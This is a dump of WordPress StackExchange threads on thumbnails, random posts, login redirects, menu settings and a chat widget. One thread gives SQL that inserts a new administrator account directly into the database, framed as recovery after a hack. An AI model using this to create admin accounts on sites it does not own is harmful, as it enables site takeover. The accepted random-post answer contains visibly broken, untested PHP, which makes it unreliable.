"text": "<p>If I understand the question correctly, you want to generate </p>\n\n<pre><code>test.jpg\ntest-150x150.jpg\n</code></pre>\n\n<p>instead of just:</p>\n\n<pre><code>test.jpg\n</code></pre>\n\n<p>when you upload an image called <code>test.jpg</code>, of size 150x150, the same as the <em>thumbnail</em> size. (<em>I used the 150x150 size here instead of your 300x200 to avoid confusing it with the medium size</em>)</p>\n\n<p>This restriction is implemented in the <a href=\"https://developer.wordpress.org/reference/classes/wp_image_editor_gd/multi_resize/\" rel=\"nofollow noreferrer\"><code>multi_resize()</code></a> method of the image editor classes, like <code>WP_Image_Editor_Imagick</code> and <code>WP_Image_Editor_GD</code> that extend <code>WP_Image_Editor</code>:</p>\n\n<pre><code>$duplicate = ( ( $orig_size['width'] == $size_data['width'] ) \n && ( $orig_size['height'] == $size_data['height'] ) );\n</code></pre>\n\n<p>If the size is the same as the size of the original image, then it's not generated.</p>\n\n<p>A possible workaround could be to extend the image class to your needs and add it to the list of available image editors through the <a href=\"https://developer.wordpress.org/reference/hooks/wp_image_editors-2/\" rel=\"nofollow noreferrer\"><code>wp_image_editors</code></a> filter.</p>\n\n<p>Alternatively you could try to hook into the <code>wp_generate_attachment_metadata</code> to generate the missing duplicate with a help from the image editor, like the <code>save()</code> method.</p>\n"
},
{
"answer_id": 265637,
"author": "MR0",
"author_id": 118896,
"author_profile": "https://wordpress.stackexchange.com/users/118896",
"pm_score": 2,
"selected": false,
"text": "<p>To solve the problem i create a custom behavior in functions.php restricted to thumbnails not been created yet and just the same size of the image. As @JackJohansson explain, the function work in wp_generate_attachment_metadata filter.</p>\n\n<pre><code>add_filter('wp_generate_attachment_metadata', 'same_size_image');\n\nfunction same_size_image($meta){\n global $_wp_additional_image_sizes;\n\n $file = wp_upload_dir();\n $file = trailingslashit($file['basedir']).$meta['file'];\n $info = getimagesize($file);\n $image = wp_get_image_editor($file);\n\n foreach ($_wp_additional_image_sizes as $label => $op) {\n if (!isset($meta['sizes'][$label])) {\n $width = $op['width'];\n $height = $op['height'];\n $new_file_path = preg_replace('/\\.(.+$)/', '-'.$width.'x'.$height.\".$1\", $file);\n if ($info[0] == $width) $image->save($new_file_path);\n }\n }\n\n return $meta;\n}\n</code></pre>\n"
}
]
| 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256590",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/94498/"
]
| I've noticed that WordPress does not generate a thumbnail for an image if the uploaded image's size is the same as the thumbnail's size.
To make this clear, here is an example:
I have an image with a size of `300x200px`. My thumbnail's size in the WordPress setting is also `300x200`. So, when i upload this image, no thumbnail of `300x200` size will be generated, because the uploaded image **itself** is considered a thumbnail to WordPress!
I've tracked it down to `wp_generate_attachment_metadata()` function, which decides not to crop an image if the image's size is equal to a thumbnail's size. [Here](https://developer.wordpress.org/reference/functions/wp_generate_attachment_metadata/) is the link to this function's content.
This function has a filter, as the following:
`apply_filters( 'wp_generate_attachment_metadata', $metadata, $attachment_id );`
How can i make this function to make the thumbnail, no matter what size?
Thanks.
**UPDATE 1:**
Following the answer by @birgire, i have included my custom `multi_resize()` function in the question:
```
function multi_resize($sizes) {
$sizes = parent::multi_resize($sizes);
//we add the slug to the file path
foreach ($sizes as $slug => $data) {
$sizes[$slug]['file'] = $slug . "/" . $data['file'];
}
return $sizes;
}
```
I'm using this function for some other purposes, mentioned [this](https://wordpress.stackexchange.com/q/255462/94498) question. | If I understand the question correctly, you want to generate
```
test.jpg
test-150x150.jpg
```
instead of just:
```
test.jpg
```
when you upload an image called `test.jpg`, of size 150x150, the same as the *thumbnail* size. (*I used the 150x150 size here instead of your 300x200 to avoid confusing it with the medium size*)
This restriction is implemented in the [`multi_resize()`](https://developer.wordpress.org/reference/classes/wp_image_editor_gd/multi_resize/) method of the image editor classes, like `WP_Image_Editor_Imagick` and `WP_Image_Editor_GD` that extend `WP_Image_Editor`:
```
$duplicate = ( ( $orig_size['width'] == $size_data['width'] )
&& ( $orig_size['height'] == $size_data['height'] ) );
```
If the size is the same as the size of the original image, then it's not generated.
A possible workaround could be to extend the image class to your needs and add it to the list of available image editors through the [`wp_image_editors`](https://developer.wordpress.org/reference/hooks/wp_image_editors-2/) filter.
Alternatively you could try to hook into the `wp_generate_attachment_metadata` to generate the missing duplicate with a help from the image editor, like the `save()` method. |
256,592 | <p>I'd like to grab a random post but only one which has a post excerpt. Is there any way that I can query this during a call to <code>get_posts()</code> or <code>wp_query()</code>? </p>
<p>Bonus points if I could do it with REST, I explored down that route and found myself back at <code>get_posts()</code>.</p>
| [
{
"answer_id": 256594,
"author": "Ben Lonsdale",
"author_id": 110488,
"author_profile": "https://wordpress.stackexchange.com/users/110488",
"pm_score": 1,
"selected": true,
"text": "<p>Something along these lines should work, not tested for syntax errors though</p>\n\n<pre><code> function random_post() { \n\n $args = array(\n 'post_type' => 'post',\n 'orderby' => 'rand',\n 'posts_per_page' => 1, \n );\n\n $post = query_posts( $args );\n\n }\n\n if(!$post->post_excerpt){\n random_post();\n }\n\n// Then down here you would do whatever with the $post object\n</code></pre>\n"
},
{
"answer_id": 256612,
"author": "TrubinE",
"author_id": 111011,
"author_profile": "https://wordpress.stackexchange.com/users/111011",
"pm_score": 1,
"selected": false,
"text": "<p>the following code will check whether there is a record excerpt:</p>\n\n<pre><code>if ( has_excerpt( $post->ID ) ) {\n // This post has excerpt\n} else {\n // This post has no excerpt\n}\n</code></pre>\n\n<p>The following code will return 1 record in which there excerpt:</p>\n\n<pre><code>function get_random_post_by_excerpt($post_type){\nglobal $wpdb;\n$id_post = $wpdb->get_var($wpdb->prepare(\"SELECT $wpdb->posts.ID FROM $wpdb->posts WHERE $wpdb->posts.post_type = '%s' AND $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_excerpt != '' ORDER BY RAND();\", $post_type));\n\nreturn $id_post = (!empty($id_post))?$id_post:false; \n}\n</code></pre>\n\n<p>call function:</p>\n\n<pre><code>$post_id = get_random_post_by_excerpt('post');\n</code></pre>\n"
}
]
| 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256592",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/45504/"
]
| I'd like to grab a random post but only one which has a post excerpt. Is there any way that I can query this during a call to `get_posts()` or `wp_query()`?
Bonus points if I could do it with REST, I explored down that route and found myself back at `get_posts()`. | Something along these lines should work, not tested for syntax errors though
```
function random_post() {
$args = array(
'post_type' => 'post',
'orderby' => 'rand',
'posts_per_page' => 1,
);
$post = query_posts( $args );
}
if(!$post->post_excerpt){
random_post();
}
// Then down here you would do whatever with the $post object
``` |
256,593 | <p>My WordPress site got hacked and the WP Admin user account password was changed by the hacker. This essentially locked the user out of his admin dashboard. It is best (for situations like this) to just create a new admin user account to gain access to WP admin dashboard and fix things as needed.</p>
<p>Is it possible to create a new WordPress admin user account via MySQL database (without having access to your WordPress admin dashboard).</p>
<p><strong>N.B: I am site owner and I have access to cPanel/Control Panel of my server.</strong></p>
| [
{
"answer_id": 256596,
"author": "CodeMascot",
"author_id": 44192,
"author_profile": "https://wordpress.stackexchange.com/users/44192",
"pm_score": 3,
"selected": true,
"text": "<p>You need to run those below queries-</p>\n\n<pre><code>INSERT INTO `your-wp-database`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_status`, `display_name`) VALUES ('1000', 'your_username', MD5('Str0ngPa55!'), 'your_username', '[email protected]', '0', 'User Display Name');\n\nINSERT INTO `your-wp-database`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '1000', 'wp_capabilities', 'a:1:{s:13:\"administrator\";b:1;}');\n\nINSERT INTO `your-wp-database`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '1000', 'wp_user_level', '10');\n</code></pre>\n\n<p>But notice here <strong><em>your-wp-database</em></strong> is the name of your WordPress database, <strong><em>1000</em></strong> is your newly created user's ID, <strong><em>[email protected]</em></strong> is the user email, the <strong><em>your_username</em></strong> is your user's username, <strong><em>User Display Name</em></strong> is your newly created user's display name and lastly <strong><em>Str0ngPa55!</em></strong> is the password of your newly created user.</p>\n"
},
{
"answer_id": 301553,
"author": "Prashant Walke",
"author_id": 142260,
"author_profile": "https://wordpress.stackexchange.com/users/142260",
"pm_score": 0,
"selected": false,
"text": "<p><strong>Add an Admin User to the WordPress Database via MySQL</strong></p>\n\n<p>Step by step guide on how to create an admin user in WordPress Database via MySQL.</p>\n\n<p><em>(Note: You should always make a backup of your database before performing any MySQL edits..)</em></p>\n\n<p>First, you need to login to phpMyAdmin and locate your WordPress database. phpmyadmin</p>\n\n<p>Once you are in, we will be making changes to the wp_users and wp_usermeta tables. Lets go ahead and click on wp_users table.</p>\n\n<p>insert_user</p>\n\n<p>Need to insert our new admin user’s information, so click on the Insert tab like it shows in the image above. In the insert form, add the following:</p>\n\n<p>ID – pick a number.</p>\n\n<p>user_login – insert the username you want to use to access the WordPress Dashboard.</p>\n\n<p>user_pass – add a password for this username. Make sure to select MD5 in the functions menu.</p>\n\n<p>user_nicename – put a nickname or something else that you would like to refer yourself as.</p>\n\n<p>user_email – add the email you want to associate with this account.</p>\n\n<p>user_url – this would be the url to your website.</p>\n\n<p>user_registered – select the date/time for when this user is registered.</p>\n\n<p>user_status – set this to 0.</p>\n\n<p>display_name – put the name you like to display for this user on the site (it can be your user_nicename value as well).</p>\n\n<p>Click on the Go Button</p>\n\n<p>Next we are going to have to add the values to wp_usermeta table. Click on the wp_usermeta table and then click on the Insert tab just like the previous step. Then add the following information to the insert form:</p>\n\n<p>unmeta_id – leave this blank (it will be auto-generated)</p>\n\n<p>user_id – this will be the id of the user you created in the previous step.</p>\n\n<p>meta_key – this should be wp_capabilities</p>\n\n<p>meta_value – insert this:</p>\n\n<pre><code> a:1:{s:13:”administrator”;s:1:”1″;}\n</code></pre>\n\n<p>Insert another row with the following information:</p>\n\n<p>unmeta_id – leave this blank (it will be auto-generated)</p>\n\n<p>user_id – this will be the id of the user you created in the previous step.</p>\n\n<p>meta_key – this should be wp_user_level</p>\n\n<p>meta_value – 10</p>\n\n<p>Then click on the Go button, and you have created yourself a new username. Now you should be able to login to your wp-admin with the username and password you specified for this user. Once logged in, click on Users and edit the username you just created. Go down and click on the Save button (you don’t have to change anything). This will allow WordPress to go through and add some more information and clean-up the user we just added.</p>\n"
}
]
| 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256593",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/106731/"
]
| My WordPress site got hacked and the WP Admin user account password was changed by the hacker. This essentially locked the user out of his admin dashboard. It is best (for situations like this) to just create a new admin user account to gain access to WP admin dashboard and fix things as needed.
Is it possible to create a new WordPress admin user account via MySQL database (without having access to your WordPress admin dashboard).
**N.B: I am site owner and I have access to cPanel/Control Panel of my server.** | You need to run those below queries-
```
INSERT INTO `your-wp-database`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_status`, `display_name`) VALUES ('1000', 'your_username', MD5('Str0ngPa55!'), 'your_username', '[email protected]', '0', 'User Display Name');
INSERT INTO `your-wp-database`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '1000', 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}');
INSERT INTO `your-wp-database`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '1000', 'wp_user_level', '10');
```
But notice here ***your-wp-database*** is the name of your WordPress database, ***1000*** is your newly created user's ID, ***[email protected]*** is the user email, the ***your\_username*** is your user's username, ***User Display Name*** is your newly created user's display name and lastly ***Str0ngPa55!*** is the password of your newly created user. |
256,629 | <p>I have a problem and would like some help:</p>
<p>Scenario:</p>
<p>Table: wp_usermeta</p>
<p><a href="https://i.stack.imgur.com/S3OFd.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/S3OFd.png" alt="enter image description here"></a></p>
<p>According to the table above (wp-usermeta), which function could I use for all users with Special Plan after login being redirected to the website.com/special page, Super plan users being redirected to the website.com/super page and users of the Vip plan being redirected to the website.com/vip page?</p>
| [
{
"answer_id": 256630,
"author": "smartcat",
"author_id": 112935,
"author_profile": "https://wordpress.stackexchange.com/users/112935",
"pm_score": 3,
"selected": true,
"text": "<p>This should do the trick. Add this filter to your plugins functions file/class. This will run automatically every time anyone logs in, if they are a user who has the 'Vip' plan, they will be redirected to the <code>/vip/</code> page. otherwise they will be redirected to the default.</p>\n\n<pre><code>add_filter( 'login_redirect', function( $redirect_to, $request, $user ) {\n\n if( ! is_wp_error( $user ) && 'Vip' == get_user_meta( $user->ID, 'plan', true ) ) {\n return home_url( 'vip' );\n } else {\n return $redirect_to;\n }\n\n}, 10, 3 );\n</code></pre>\n"
},
{
"answer_id": 256699,
"author": "Pavanello",
"author_id": 113413,
"author_profile": "https://wordpress.stackexchange.com/users/113413",
"pm_score": 0,
"selected": false,
"text": "<p>Very good, with the tip above I made the redirection to the other plans and it worked perfectly.</p>\n\n<pre><code>add_filter( 'login_redirect', function( $redirect_to, $request, $user ) {\n\nif( ! is_wp_error( $user ) && 'Vip' == get_user_meta( $user->ID, 'plan', true ) ) {\n return home_url( 'vip' );\n} else if( ! is_wp_error( $user ) && 'Special' == get_user_meta( $user->ID, 'plan', true ) ) {\n return home_url( 'special' );\n} else if( ! is_wp_error( $user ) && 'Super' == get_user_meta( $user->ID, 'plan', true ) ) {\n return home_url( 'super' );\n} else {\n return $redirect_to;\n}\n\n}, 10, 3 );\n</code></pre>\n\n<p>Thanks Howdy_McGee and smartcat</p>\n"
}
]
| 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256629",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113413/"
]
| I have a problem and would like some help:
Scenario:
Table: wp\_usermeta
[](https://i.stack.imgur.com/S3OFd.png)
According to the table above (wp-usermeta), which function could I use for all users with Special Plan after login being redirected to the website.com/special page, Super plan users being redirected to the website.com/super page and users of the Vip plan being redirected to the website.com/vip page? | This should do the trick. Add this filter to your plugins functions file/class. This will run automatically every time anyone logs in, if they are a user who has the 'Vip' plan, they will be redirected to the `/vip/` page. otherwise they will be redirected to the default.
```
add_filter( 'login_redirect', function( $redirect_to, $request, $user ) {
if( ! is_wp_error( $user ) && 'Vip' == get_user_meta( $user->ID, 'plan', true ) ) {
return home_url( 'vip' );
} else {
return $redirect_to;
}
}, 10, 3 );
``` |
256,653 | <p>Is it possible to hide or remove some custom post type from here?
<a href="https://i.stack.imgur.com/6jNVx.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/6jNVx.png" alt="here are the screenshot"></a></p>
| [
{
"answer_id": 256656,
"author": "Fayaz",
"author_id": 110572,
"author_profile": "https://wordpress.stackexchange.com/users/110572",
"pm_score": 2,
"selected": false,
"text": "<p>If you have created the custom post type correctly, hiding it should be easy.</p>\n\n<p>First, from your your Admin Panel, go to:</p>\n\n<pre><code>Appearance -> Menus\n</code></pre>\n\n<p>Then, from there at the top right, you'll see <code>Screen Options</code> button. If you click that button, it'll show you the option to show & hide <code>Pages</code>, <code>Posts</code>, <code>Your Custom Post Type</code>, <code>Categories</code>, <code>Tags</code> etc. Like the following:</p>\n\n<p><a href=\"https://i.stack.imgur.com/Eq49l.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Eq49l.png\" alt=\"enter image description here\"></a></p>\n\n<p>From there, show or hide as you need.</p>\n"
},
{
"answer_id": 256658,
"author": "TrubinE",
"author_id": 111011,
"author_profile": "https://wordpress.stackexchange.com/users/111011",
"pm_score": 2,
"selected": false,
"text": "<pre><code>// set up the arguements for post type\n$labels = array(....);\n$args =\n array(\n 'labels' => $labels,\n 'public' => true, // display on menu and site\n 'publicly_queryable' => false,\n 'show_ui' => true,\n 'query_var' => false,\n 'rewrite' => false,\n 'capability_type' => 'post',\n 'hierarchical' => false,\n 'menu_position' => 111,\n 'supports' =>\n array(\n 'title'\n )\n);\n// register the post type\nregister_post_type(__('galery'), $args);\n</code></pre>\n\n<p>If the <code>'public' => true</code> is true, then a post type will appear in the menu and site.</p>\n\n<p>If the <code>'public' => false</code> - hidden in the menu and site.</p>\n\n<p>If you want to show on the site but hidden in the menu, there is a special option: <code>'show_in_nav_menus' => true</code></p>\n\n<p>Example:</p>\n\n<pre><code>$labels = array(....);\n $args =\n array(\n 'labels' => $labels,\n 'public' => true, // display on menu and site\n 'show_in_nav_menus' => false // hiden on menu\n 'publicly_queryable' => false,\n 'show_ui' => true,\n 'query_var' => false,\n 'rewrite' => false,\n 'capability_type' => 'post',\n 'hierarchical' => false,\n 'menu_position' => 111,\n 'supports' =>\n array(\n 'title'\n )\n );\n // register the post type\n register_post_type(__('payout'), $args);\n</code></pre>\n\n<p>If you can not edit register_post_type You can Hide use css.\nTo click in the browser f12 and find id element:</p>\n\n<p><a href=\"https://i.stack.imgur.com/DMDs9.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/DMDs9.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>in my case, to add to the styles admin:</p>\n\n<pre><code> #add-kleo-nav-menu {\n display: none;\n}\n</code></pre>\n\n<p>If there is a question how to add styles in admin area - ask.</p>\n\n<p>Sorry for my English.</p>\n"
}
]
| 2017/02/16 | [
"https://wordpress.stackexchange.com/questions/256653",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/50526/"
]
| Is it possible to hide or remove some custom post type from here?
[](https://i.stack.imgur.com/6jNVx.png) | If you have created the custom post type correctly, hiding it should be easy.
First, from your your Admin Panel, go to:
```
Appearance -> Menus
```
Then, from there at the top right, you'll see `Screen Options` button. If you click that button, it'll show you the option to show & hide `Pages`, `Posts`, `Your Custom Post Type`, `Categories`, `Tags` etc. Like the following:
[](https://i.stack.imgur.com/Eq49l.png)
From there, show or hide as you need. |
256,662 | <p>I need to add a chat widget in HTML, css and js, on all WP website. I tried the following in local (functions.php) and it worked fine but just on homepage. Same code online and nothing shows up. Any advice? Thank you in advance :)</p>
<pre><code><?php
function add_chat ( ) {
?>
<script type="text/javascript">
SERVICE_PATTERN_CHAT_CONFIG = {
appId: '',
clientId: '', /* no need to change this */
apiUrl: '',
tenantUrl: '',
width: 300,
chatPath: ''
};
</script>
<script type="text/javascript" src="js/snippet.js"></script>
<?php
}
add_action ('wp_footer', 'add_chat' );?>
</code></pre>
| [
{
"answer_id": 256656,
"author": "Fayaz",
"author_id": 110572,
"author_profile": "https://wordpress.stackexchange.com/users/110572",
"pm_score": 2,
"selected": false,
"text": "<p>If you have created the custom post type correctly, hiding it should be easy.</p>\n\n<p>First, from your your Admin Panel, go to:</p>\n\n<pre><code>Appearance -> Menus\n</code></pre>\n\n<p>Then, from there at the top right, you'll see <code>Screen Options</code> button. If you click that button, it'll show you the option to show & hide <code>Pages</code>, <code>Posts</code>, <code>Your Custom Post Type</code>, <code>Categories</code>, <code>Tags</code> etc. Like the following:</p>\n\n<p><a href=\"https://i.stack.imgur.com/Eq49l.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Eq49l.png\" alt=\"enter image description here\"></a></p>\n\n<p>From there, show or hide as you need.</p>\n"
},
{
"answer_id": 256658,
"author": "TrubinE",
"author_id": 111011,
"author_profile": "https://wordpress.stackexchange.com/users/111011",
"pm_score": 2,
"selected": false,
"text": "<pre><code>// set up the arguements for post type\n$labels = array(....);\n$args =\n array(\n 'labels' => $labels,\n 'public' => true, // display on menu and site\n 'publicly_queryable' => false,\n 'show_ui' => true,\n 'query_var' => false,\n 'rewrite' => false,\n 'capability_type' => 'post',\n 'hierarchical' => false,\n 'menu_position' => 111,\n 'supports' =>\n array(\n 'title'\n )\n);\n// register the post type\nregister_post_type(__('galery'), $args);\n</code></pre>\n\n<p>If the <code>'public' => true</code> is true, then a post type will appear in the menu and site.</p>\n\n<p>If the <code>'public' => false</code> - hidden in the menu and site.</p>\n\n<p>If you want to show on the site but hidden in the menu, there is a special option: <code>'show_in_nav_menus' => true</code></p>\n\n<p>Example:</p>\n\n<pre><code>$labels = array(....);\n $args =\n array(\n 'labels' => $labels,\n 'public' => true, // display on menu and site\n 'show_in_nav_menus' => false // hiden on menu\n 'publicly_queryable' => false,\n 'show_ui' => true,\n 'query_var' => false,\n 'rewrite' => false,\n 'capability_type' => 'post',\n 'hierarchical' => false,\n 'menu_position' => 111,\n 'supports' =>\n array(\n 'title'\n )\n );\n // register the post type\n register_post_type(__('payout'), $args);\n</code></pre>\n\n<p>If you can not edit register_post_type You can Hide use css.\nTo click in the browser f12 and find id element:</p>\n\n<p><a href=\"https://i.stack.imgur.com/DMDs9.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/DMDs9.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>in my case, to add to the styles admin:</p>\n\n<pre><code> #add-kleo-nav-menu {\n display: none;\n}\n</code></pre>\n\n<p>If there is a question how to add styles in admin area - ask.</p>\n\n<p>Sorry for my English.</p>\n"
}
]
| 2017/02/16 | [
"https://wordpress.stackexchange.com/questions/256662",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113452/"
]
| I need to add a chat widget in HTML, css and js, on all WP website. I tried the following in local (functions.php) and it worked fine but just on homepage. Same code online and nothing shows up. Any advice? Thank you in advance :)
```
<?php
function add_chat ( ) {
?>
<script type="text/javascript">
SERVICE_PATTERN_CHAT_CONFIG = {
appId: '',
clientId: '', /* no need to change this */
apiUrl: '',
tenantUrl: '',
width: 300,
chatPath: ''
};
</script>
<script type="text/javascript" src="js/snippet.js"></script>
<?php
}
add_action ('wp_footer', 'add_chat' );?>
``` | If you have created the custom post type correctly, hiding it should be easy.
First, from your your Admin Panel, go to:
```
Appearance -> Menus
```
Then, from there at the top right, you'll see `Screen Options` button. If you click that button, it'll show you the option to show & hide `Pages`, `Posts`, `Your Custom Post Type`, `Categories`, `Tags` etc. Like the following:
[](https://i.stack.imgur.com/Eq49l.png)
From there, show or hide as you need. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.